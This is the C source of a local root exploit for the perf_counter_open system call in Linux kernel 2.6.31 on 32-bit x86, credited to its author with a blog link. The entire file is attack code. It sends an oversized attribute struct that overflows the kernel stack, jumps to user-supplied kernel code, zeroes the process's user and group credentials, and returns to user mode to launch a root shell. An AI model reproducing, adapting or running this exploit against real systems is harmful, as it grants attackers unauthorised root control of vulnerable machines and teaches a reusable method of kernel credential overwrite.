/*
Linux 2.6.31 perf_counter_open exploit on x86 32bits.
Written by xipe@redstack.net.
For more info see http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit
*/

#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>

#define __NR_perf_counter_open 336

#define ALIGN(x,a)              __ALIGN_MASK(x,(typeof(x))(a)-1)
#define __ALIGN_MASK(x,mask)    (((x)+(mask))&~(mask))
#define PTR_ALIGN(p, a)         ((typeof(p))ALIGN((unsigned long)(p), (a)))

static pid_t uid;
static gid_t gid;
unsigned long taskstruct[1024];
char	exit_stack[1024 * 1024];

unsigned int my_syscall(unsigned int nb, unsigned int arg1, unsigned int arg2, 
			unsigned int arg3, unsigned int arg4, unsigned int arg5)
{
	unsigned int ret;
	__asm__ (
	"mov %1, %%eax ;"
	"mov %2, %%ebx ;"
	"mov %3, %%ecx ;"
	"mov %4, %%edx ;"
	"mov %5, %%esi ;"
	"mov %6, %%edi ;"
	"int $0x80 ;"
	"mov %%eax, %0 ;"
	: "=r" (ret)
	: "m" (nb), "m" (arg1), "m" (arg2), "m" (arg3), "m" (arg4), "m" (arg5)
	);
	return ret;
}

static int mystrlen(char *s)
{
	char *start = s;

	while (*s)
		s++;
	return (s - start);
		
}

static inline void spawn_shell()
{
	static char *s = "Starting shell\n";
	static char *t[] = {"/bin/sh", 0};

	my_syscall(SYS_write, 1, (unsigned int)s, mystrlen(s), 0, 0);
	my_syscall(SYS_execve, (unsigned int)*t, (unsigned int)t, 0, 0, 0);
}


#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246
#define STACK(x)	(x + sizeof(x) - 80)


static void exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (spawn_shell)
	);
}

static inline void *get_stack_top()
{
	void *stack;

	__asm__ __volatile__ (
	"movl $0xffffe000,%%eax ;"
	"andl %%esp, %%eax ;"
	"movl %%eax, %0 ;"
	: "=r" (stack)
	);
	return stack; 
}

static inline void *get_current()
{
	return *(void **)get_stack_top();
}

static void update_cred()
{
	uint32_t	i;
	uint32_t	*task = get_current(); /* Pointer to the task_struct */
	uint32_t 	*cred = 0;
	
	for (i = 0; i < 1024; i++)
	{
		taskstruct[i] = task[i];
		cred = (uint32_t *)task[i];
		if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
			cred++; /* Get ride of the cred's 'usage' field */
	        	if (cred[0] == uid && cred[1] == gid
		            && cred[2] == uid && cred[3] == gid
		            && cred[4] == uid && cred[5] == gid
		            && cred[6] == uid && cred[7] == gid)
		        {
				/* Get root */
		         	cred[0] = cred[2] = cred[4] = cred[6] = 0;
		                cred[1] = cred[3] = cred[5] = cred[7] = 0;
				break;
		        }
		}
	}
}

void	kernel_code()
{
	update_cred();
	exit_kernel();
}

#define SIZEOF_ATTR 64
#define BUFFER_LEN 128

void start()
{
	uint32_t *attr = malloc(BUFFER_LEN);
	uint32_t *stack_overflow = (void *)attr + SIZEOF_ATTR;
	uint32_t *aligned_overflow = PTR_ALIGN(stack_overflow, sizeof(unsigned long));

	memset(attr, 0, SIZEOF_ATTR);

	/* size is the second u32 in the struct	*/
	attr[1] = 128;

	while (stack_overflow < attr + (BUFFER_LEN / sizeof (*attr)))
	{
		*stack_overflow = (uint32_t)kernel_code; 
		stack_overflow ++;
	}

	/* then put 0s where we need them ... */
	while (aligned_overflow < attr + (BUFFER_LEN / sizeof (*attr)))
	{
		*aligned_overflow = 0;
		aligned_overflow += 4;
	}

        syscall(__NR_perf_counter_open, attr, 0, 0, 0, 0);
}

int main()
{
	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);
	
	start();
}
